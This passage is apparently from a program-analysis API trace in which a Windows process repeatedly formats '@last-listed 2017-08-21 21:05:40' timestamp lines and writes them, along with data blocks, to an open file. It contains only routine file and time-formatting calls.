(in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.426] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.426] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.426] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.426] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 2062 [0121.426] _write (in: _FileHandle=4, _Buf=0x3c4fbf0*, _MaxCharCount=0x178 | out: _Buf=0x3c4fbf0*) returned 376 [0121.426] gmtime (param_1=0x36f188) returned 0x841688 [0121.426] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.426] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.426] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.426] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.426] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.426] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 2471 [0121.426] _write (in: _FileHandle=4, _Buf=0x3d8ad08*, _MaxCharCount=0x1a9 | out: _Buf=0x3d8ad08*) returned 425 [0121.426] gmtime (param_1=0x36f188) returned 0x841688 [0121.426] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.426] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.426] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.426] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.426] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.427] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 2929 [0121.427] _write (in: _FileHandle=4, _Buf=0x3d256b8*, _MaxCharCount=0x18b | out: _Buf=0x3d256b8*) returned 395 [0121.427] gmtime (param_1=0x36f188) returned 0x841688 [0121.427] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.427] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.427] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.427] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.427] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.427] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 3357 [0121.427] _write (in: _FileHandle=4, _Buf=0x3d25850*, _MaxCharCount=0x27b | out: _Buf=0x3d25850*) returned 635 [0121.427] gmtime (param_1=0x36f188) returned 0x841688 [0121.427] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.427] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.427] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.427] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.427] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.427] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 4025 [0121.427] _write (in: _FileHandle=4, _Buf=0x3c4f8e0*, _MaxCharCount=0x178 | out: _Buf=0x3c4f8e0*) returned 376 [0121.427] gmtime (param_1=0x36f188) returned 0x841688 [0121.427] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.427] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.427] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.427] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.427] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.427] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 4434 [0121.427] _write (in: _FileHandle=4, _Buf=0x3c1f938*, _MaxCharCount=0x1c5 | out: _Buf=0x3c1f938*) returned 453 [0121.427] gmtime (param_1=0x36f188) returned 0x841688 [0121.427] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.427] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.427] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.427] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.428] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.428] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 4920 [0121.428] _write (in: _FileHandle=4, _Buf=0x3c1fb08*, _MaxCharCount=0x2b5 | out: _Buf=0x3c1fb08*) returned 693 [0121.428] gmtime (param_1=0x36f188) returned 0x841688 [0121.428] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.428] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.428] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.428] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.428] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.428] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 5646 [0121.428] _write (in: _FileHandle=4, _Buf=0x3c4fd78*, _MaxCharCount=0x178 | out: _Buf=0x3c4fd78*) returned 376 [0121.428] gmtime (param_1=0x36f188) returned 0x841688 [0121.428] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.428] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.428] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.428] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.428] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.428] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 6055 [0121.428] _write (in: _FileHandle=4, _Buf=0x3c4ff00*, _MaxCharCount=0x178 | out: _Buf=0x3c4ff00*) returned 376 [0121.428] gmtime (param_1=0x36f188) returned 0x841688 [0121.428] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.428] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.428] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.428] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.428] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.429] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 6464 [0121.429] _write (in: _FileHandle=4, _Buf=0x3c50088*, _MaxCharCount=0x178 | out: _Buf=0x3c50088*) returned 376 [0121.429] gmtime (param_1=0x36f188) returned 0x841688 [0121.429] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.429] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.429] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.429] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.429] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.429] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 6873 [0121.429] _write (in: _FileHandle=4, _Buf=0x3beb048*, _MaxCharCount=0x2f9 | out: _Buf=0x3beb048*) returned 761 [0121.429] gmtime (param_1=0x36f188) returned 0x841688 [0121.429] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.429] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.429] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.429] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.429] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.429] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 7667 [0121.429] _write (in: _FileHandle=4, _Buf=0x3c50210*, _MaxCharCount=0x178 | out: _Buf=0x3c50210*) returned 376 [0121.429] gmtime (param_1=0x36f188) returned 0x841688 [0121.429] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.429] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.429] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.429] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.429] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.429] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 8076 [0121.429] _write (in: _FileHandle=4, _Buf=0x3c1fdc8*, _MaxCharCount=0x216 | out: _Buf=0x3c1fdc8*) returned 534 [0121.430] gmtime (param_1=0x36f188) returned 0x841688 [0121.430] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.430] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.430] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.430] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.430] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.430] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 8643 [0121.430] _write (in: _FileHandle=4, _Buf=0x3beb350*, _MaxCharCount=0x2ac | out: _Buf=0x3beb350*) returned 684 [0121.430] gmtime (param_1=0x36f188) returned 0x841688 [0121.430] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.430] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.430] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.430] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.430] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.430] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 9360 [0121.430] _write (in: _FileHandle=4, _Buf=0x3c50398*, _MaxCharCount=0x178 | out: _Buf=0x3c50398*) returned 376 [0121.430] gmtime (param_1=0x36f188) returned 0x841688 [0121.430] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.430] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.430] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.430] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.431] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.431] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 9769 [0121.431] _write (in: _FileHandle=4, _Buf=0x3beb608*, _MaxCharCount=0x168 | out: _Buf=0x3beb608*) returned 360 [0121.431] gmtime (param_1=0x36f188) returned 0x841688 [0121.431] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.431] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.431] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.431] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.431] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.431] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 10162 [0121.431] _write (in: _FileHandle=4, _Buf=0x3c50520*, _MaxCharCount=0x178 | out: _Buf=0x3c50520*) returned 376 [0121.431] gmtime (param_1=0x36f188) returned 0x841688 [0121.431] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.431] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.431] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.431] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.431] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.431] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 10571 [0121.431] _write (in: _FileHandle=4, _Buf=0x3c05678*, _MaxCharCount=0x3aa | out: _Buf=0x3c05678*) returned 938 [0121.431] gmtime (param_1=0x36f188) returned 0x841688 [0121.431] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.431] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.431] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.431] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.431] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.431] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 11542 [0121.431] _write (in: _FileHandle=4, _Buf=0x3c506a8*, _MaxCharCount=0x178 | out: _Buf=0x3c506a8*) returned 376 [0121.432] gmtime (param_1=0x36f188) returned 0x841688 [0121.432] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.432] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.432] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.432] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.432] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.432] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 11951 [0121.432] _write (in: _FileHandle=4, _Buf=0x3c06230*, _MaxCharCount=0x227 | out: _Buf=0x3c06230*) returned 551 [0121.432] gmtime (param_1=0x36f188) returned 0x841688 [0121.432] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.432] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.432] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.432] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.432] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.432] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 12535 [0121.432] _write (in: _FileHandle=4, _Buf=0x3c50830*, _MaxCharCount=0x178 | out: _Buf=0x3c50830*) returned 376 [0121.432] gmtime (param_1=0x36f188) returned 0x841688 [0121.432] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.432] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.432] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.432] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.432] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.432] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 12944 [0121.432] _write (in: _FileHandle=4, _Buf=0x3c06460*, _MaxCharCount=0x1a9 | out: _Buf=0x3c06460*) returned 425 [0121.432] gmtime (param_1=0x36f188) returned 0x841688 [0121.432] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.432] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.432] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.432] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.432] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.432] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 13402 [0121.432] _write (in: _FileHandle=4, _Buf=0x3c509b8*, _MaxCharCount=0x178 | out: _Buf=0x3c509b8*) returned 376 [0121.433] gmtime (param_1=0x36f188) returned 0x841688 [0121.433] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.433] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.433] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.433] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.433] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.433] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 13811 [0121.433] _write (in: _FileHandle=4, _Buf=0x3c50b40*, _MaxCharCount=0x178 | out: _Buf=0x3c50b40*) returned 376 [0121.433] gmtime (param_1=0x36f188) returned 0x841688 [0121.433] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.433] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.433] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.433] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.433] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.433] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 14220 [0121.433] _write (in: _FileHandle=4, _Buf=0x3c06f70*, _MaxCharCount=0x2ee | out: _Buf=0x3c06f70*) returned 750 [0121.433] gmtime (param_1=0x36f188) returned 0x841688 [0121.433] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.433] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.433] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.433] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.433] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.433] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 15003 [0121.433] _write (in: _FileHandle=4, _Buf=0x3c07268*, _MaxCharCount=0x168 | out: _Buf=0x3c07268*) returned 360 [0121.434] gmtime (param_1=0x36f188) returned 0x841688 [0121.434] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.434] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.434] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.434] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.434] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.434] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 15396 [0121.434] _write (in: _FileHandle=4, _Buf=0x3c073e0*, _MaxCharCount=0x2bd | out: _Buf=0x3c073e0*) returned 701 [0121.434] gmtime (param_1=0x36f188) returned 0x841688 [0121.434] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.434] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.434] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.434] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.434] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.434] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 16130 [0121.434] _write (in: _FileHandle=4, _Buf=0x3c50cc8*, _MaxCharCount=0x178 | out: _Buf=0x3c50cc8*) returned 376 [0121.434] gmtime (param_1=0x36f188) returned 0x841688 [0121.434] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.434] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.434] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.434] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.434] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.434] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 16539 [0121.434] _write (in: _FileHandle=4, _Buf=0x3c076a8*, _MaxCharCount=0x168 | out: _Buf=0x3c076a8*) returned 360 [0121.434] gmtime (param_1=0x36f188) returned 0x841688 [0121.435] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.435] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.435] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.435] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.435] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.435] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 16932 [0121.435] _write (in: _FileHandle=4, _Buf=0x3c50e50*, _MaxCharCount=0x178 | out: _Buf=0x3c50e50*) returned 376 [0121.435] gmtime (param_1=0x36f188) returned 0x841688 [0121.435] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.435] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.435] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.435] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.435] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.435] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 17341 [0121.435] _write (in: _FileHandle=4, _Buf=0x3c07c20*, _MaxCharCount=0x1a9 | out: _Buf=0x3c07c20*) returned 425 [0121.435] gmtime (param_1=0x36f188) returned 0x841688 [0121.435] strftime (in: _Buf=0x36f215, 